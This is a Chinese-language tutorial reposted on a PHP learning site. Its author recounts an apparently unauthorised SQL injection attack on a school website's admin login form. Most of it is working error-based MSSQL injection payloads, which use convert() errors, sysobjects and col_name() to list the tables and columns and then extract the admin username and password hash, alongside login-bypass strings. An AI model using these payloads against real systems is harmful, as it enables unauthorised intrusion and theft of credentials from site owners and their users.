网站地图    收藏   

主页 > 后端 > 网站安全 >

登陆框post注入简单实例 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] Author:音符 某天各种闲,于是准备把某地的学校来一次大检测,各种猥琐。于是有了这篇帖子。 先是跟平常一样,随便找个地方提交下数据,看看网站大致的安全。随便找到个asp展示页...

Author:音符
 
  某天各种闲,于是准备把某地的学校来一次大检测,各种猥琐。于是有了这篇帖子。
 
  先是跟平常一样,随便找个地方提交下数据,看看网站大致的安全。随便找到个asp展示页面在参数后面提交单引号,结果如图一






有大牛做了防护诶,伟大。注入难道都不能搞了么?不好说吧。
 
在前台有个注入,试探之,依旧是做了防注入。看到这么变态还有大牛防护小弟各种怕怕,后台都不敢扫了,直接地址栏加个admin杀入,如图2
 


 
没密码啊,咋办’or’=’or’试试呗
 
结果如图三
 
 
各种无法万能密码,难道就放弃了么?
 
非也,看他的返回
 
在关键字'or' 附近有语法错误。
说明我们的数据被带入查询了,没有进行过滤哦亲,于是小弟各种想在用户名处提交数据查询管理用户。如下。
 
用户名处提交数据
 
1' and '1'='1
 
返回如图
 
 
提交1’返回如图
 
 
(那串加密md5是我乱输入的密码)两次结果对比说明存在注入。不解释。
 
我们开始爆数据吧,其实利用的都是普通的查询语句,通过各种报错来爆出我们想要的内容。
 
用户名处键入
 
1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U')) and '1'='1
 
前后的and是为了让语句完整,各种引号。
 
中间的语句是为了让程序出错 强制转换为int型再与1作比较报错返回。
 
结果如图。
 


第一个表段爆出来了JYS_Js中的top 1就是爆出第一个表段
 
我们继续爆第二个表段,键入代码:
 
1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('JYS_Js' ))) and '1'='1
 
啥意思呢,与原来的语句做个比较就知道了,多了个and name not in xxx,是我们的限制条件,限制表名不为jys_js,然后取回第一个表段,其实现在就是库中的第二个表段了。如图
 



那么继续爆第三个表段,键入语句:
 
1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('JYS_Js','dtproperties'))) and '1'='1
 
将properties也给排除掉,结果如图。
 



 
剩下的不解释了,各种爆。
 
最后当我键入语句:
 
1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('JYS_Js','dtproperties','JYS_Column','JYS_District','JYS_File','JYS_jyz','JYS_News','XD_Chushi','XD_City','XD_Column','XD_District','XD_File','XD_FriendLink','XD_Huodong','XD_Manager','XD_News','XD_Province','XD_User','XD_User_Column','XL_Group','XL_SystemConfig'))) and '1'='1
 
结果如图:
 


 
 
 
这是说明我们把所有数据都排除了,返回值为空,也就是0.0就是int型的,可以与1进行比较,所以语句不报错(小菜鸟我是这么理解的,不知道对不对。膜拜大牛)
 
果断锁定表段XD_Manager,各种爆字段。
 
网上有个说法是
 
select * from XD_Manager having 1=1
 
爆出全部字段,但是小菜鸟怎么搞都不行,貌似一次只能返回一个字段。
 
果断慢慢爆
 
键入语句:
 
1' and 1=convert(int,(select top 1 col_name(object_id ('XD_Manager'),1) from XD_Manager)) and '1'='1
 
没啥说的,看得懂吧,爆出第一个字段,返回如图。
 

 
继续爆,键入:
 
1' and 1=convert(int,(select top 1 col_name(object_id ('XD_Manager'),2) from XD_Manager)) and '1'='1
 
结果返回
 
将nvarchar 值'M_name' 转换为数据类型为int 的列时发生语法错误。
 
最后果断爆回所有字段了。开始爆数据吧。
 
键入:
 
1' and 1=convert(int,(select top 1 M_name from XD_Manager)) and '1'='1
 
返回第一个用户名
 
 
Admin意料之中,爆他密码
 
键入:
 
1' and 1=convert(int,(select top 1 M_password from XD_Manager)) and '1'='1
 
 
解密下就ok了。
 
当然我们可以模仿前面的。爆第二个用户名啥的
 
1' and 1=convert(int,(select top 1 M_name from XD_Manager where m_name not in('admin'))) and '1'='1
 
提交后就是第二个用户名了。没啥说的。不解释,不演示。
 
但是我在写帖子的时候登陆出现了问题,如图。
 






 
这个我真不懂了,怀疑是管理员发现了,毕竟N久前的,求大牛解释。完。大家静待下一篇。
 
另附相关网贴几张
 
www.2cto.com/Article/201111/110526.html
www.2cto.com/Article/200809/29429.html
 
废话一下:年关各种穷,又出来招摇撞骗,带各种有钱小弟,求包养。Q738404558

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论